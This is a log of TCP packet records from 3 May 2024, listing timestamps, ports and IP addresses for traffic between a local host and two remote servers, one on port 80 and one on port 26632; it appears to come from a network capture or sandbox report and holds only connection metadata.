May 3, 2024 23:27:52.024614096 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.024650097 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.024748087 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:52.079119921 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.079134941 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.079169035 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.079181910 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.079195976 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:52.079221964 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:52.138328075 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.138461113 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.138509989 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:52.191514969 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.191530943 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.191601038 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:52.243954897 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.243974924 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.243988037 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.244000912 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.244028091 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:52.244055986 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:52.306566000 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.306580067 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.306767941 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:52.408659935 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.408674955 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.408706903 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.408726931 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:52.408744097 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:52.408750057 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:52.471229076 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.471242905 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.471299887 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:52.578737020 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.578749895 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.578763008 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.578811884 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:52.578839064 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:52.624960899 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:52.637928963 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.638042927 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.638101101 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:52.744087934 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.789580107 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.789597034 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.789673090 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:52.802737951 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.802753925 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.802896976 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:52.958570957 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.958585978 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.958596945 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.958640099 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:52.958647966 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.958688021 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:52.974478006 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.974518061 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.974531889 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:52.974575996 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:53.015542984 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:53.126171112 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:53.126195908 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:53.126209974 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:53.126223087 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:53.126249075 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:53.126296997 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:53.142673969 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:53.142851114 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:53.142895937 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:53.182691097 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:53.182735920 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:53.182801008 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:53.291064978 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:53.291168928 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:53.291270018 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:53.291321993 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:53.309775114 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:53.309787035 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:53.309839010 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:53.348915100 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:53.348987103 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:53.349005938 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:53.349023104 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:53.458053112 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:53.458161116 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:53.474672079 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:53.474724054 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:53.474735975 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:53.474809885 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:53.514585972 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:53.514661074 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:53.514708996 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:53.623892069 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:53.639511108 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:53.639581919 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:53.680461884 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:53.680476904 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:53.680577993 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:53.680600882 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:53.734306097 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:53.804373980 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:53.804440975 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:53.804500103 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:53.804511070 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:53.804621935 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:53.804678917 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:53.845369101 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:53.845441103 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:53.845489979 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:53.973050117 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:53.973102093 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:53.973145008 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:53.973150015 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:53.973174095 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:53.973200083 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:53.973265886 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:53.973309994 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:54.012348890 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:54.012403965 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:54.012443066 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:54.012479067 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:54.138756990 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:54.138771057 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:54.138825893 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:54.178153992 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:54.178167105 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:54.178277969 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:54.306050062 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:54.352400064 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:54.352515936 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:54.352520943 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:54.352617025 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:54.352665901 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:54.352787971 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:54.406193018 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:54.517163992 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:54.517184019 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:54.517240047 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:54.517251968 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:54.517306089 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:54.517416954 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:54.571517944 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:54.624946117 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:54.684082031 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:54.684151888 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:54.684155941 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:54.684201002 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:54.789793968 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:54.789860010 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:54.849061012 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:54.849142075 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:54.901268959 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:54.901393890 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:54.956376076 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:54.956473112 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:55.020006895 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:55.062536001 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:55.069042921 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:55.109368086 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:55.126009941 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:55.171813011 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:55.233692884 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:55.278172970 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:55.278187990 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:55.278259039 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:55.452140093 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:55.452188015 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:55.452261925 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:55.452296019 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:55.452363968 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:55.452411890 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:55.452456951 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:55.452503920 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:55.620173931 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:55.620260954 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:55.620294094 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:55.620310068 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:55.620369911 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:55.790967941 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:55.790988922 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:55.791135073 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:55.791137934 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:55.791184902 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:55.956950903 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:55.956996918 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:55.957036972 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:55.957072973 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:56.533636093 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:56.533719063 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:56.700360060 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:56.700455904 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:56.700542927 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:56.865655899 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:56.865816116 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:56.865863085 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:57.032531023 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:57.032602072 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:57.032649994 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:57.032701969 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:57.032782078 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:57.032821894 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:57.202373028 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:57.202467918 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:57.202511072 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:57.202522993 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:57.202600956 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:57.202650070 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:57.367712975 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:57.367773056 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:57.367825985 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:57.369730949 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:57.534959078 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:28:47.692686081 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:47.865919113 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:47.866014004 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:47.874865055 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:48.048268080 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:48.079981089 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:48.255491018 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:48.296886921 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:53.300468922 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:53.479088068 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:53.479105949 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:53.479119062 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:53.479130983 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:53.479145050 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:53.479281902 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:53.479281902 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:53.590394974 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:53.764745951 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:53.812625885 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:53.871509075 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:54.047307968 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.047458887 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:54.047512054 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.047694921 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:54.047880888 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.047936916 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:54.220643997 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.220958948 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:54.221189022 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.221292973 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.221407890 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.221410036 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:54.221458912 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:54.221586943 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.221637964 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:54.222192049 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.222265959 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:54.222439051 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.222496986 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:54.394108057 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.394123077 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.394227028 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:54.394558907 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.394572020 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.394664049 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:54.394675970 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.394892931 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.394968033 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:54.395037889 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.395335913 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.395390987 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:54.395394087 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.395894051 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.395908117 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.395963907 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.396091938 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:54.396140099 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.396188974 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:54.396581888 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.396722078 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.396799088 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:54.396832943 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.397068977 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.397140980 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:54.397439003 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.399072886 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:54.567742109 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.567758083 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.567852020 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:54.567929029 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.568018913 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.568279028 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.568444014 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.568489075 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.568543911 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.568775892 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.569037914 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.569192886 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.569576979 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.569820881 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.569957018 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.570008993 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.570549965 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.570635080 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.570751905 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.570826054 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.570839882 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:54.570890903 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:54.570956945 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.571361065 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.571624041 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.571897984 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.572033882 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.572215080 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.572515011 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.572659016 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.572937012 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.573097944 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.573179007 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.573539019 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.573600054 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.573898077 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.574188948 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.574243069 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.741153002 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.742551088 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:54.742604971 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:54.743947029 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.744226933 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.744623899 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.744700909 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.744918108 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.745045900 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.745234966 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.745435953 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.745446920 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.745768070 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.745840073 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.746037006 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.746273994 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.746980906 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.747052908 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.747107029 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.747239113 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.747289896 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.747683048 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.747905970 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.748182058 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.748411894 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.748722076 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:54.748776913 CEST	49738	26632	192.168.2.4	109.120.178.235
May 3, 2024 23:28:54.916160107 CEST	26632	49738	109.120.178.235	192.168.2.4
May 3, 2024 23:28:54.916241884 CEST	26632	49738	109.120.178.235	192.168.2.4
